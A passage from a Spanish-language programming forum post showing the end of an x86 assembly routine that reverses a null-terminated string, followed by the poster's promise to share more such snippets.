  40.                        cmp byte[eax+ecx],0
  41.                            jne buclelen
  42.                xor ebx,ebx
  43.                dec ecx
  44.                reverse:
  45.                        xor edx,edx
  46.                        mov dl,byte[eax+ecx]
  47.                        mov byte[CadenaFinal+ebx],dl
  48.                        inc ebx
  49.                        sub ecx,1
  50.                        cmp ecx,-1
  51.                            jne reverse
  52.                mov eax,CadenaFinal
  53.                ret
  54.        endp
  55. .end start      


Cuando valla haciendo mas las voi posteando :P

saludos.
Páginas: 1 2 3 4 5 6 [7] 8 9 10
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines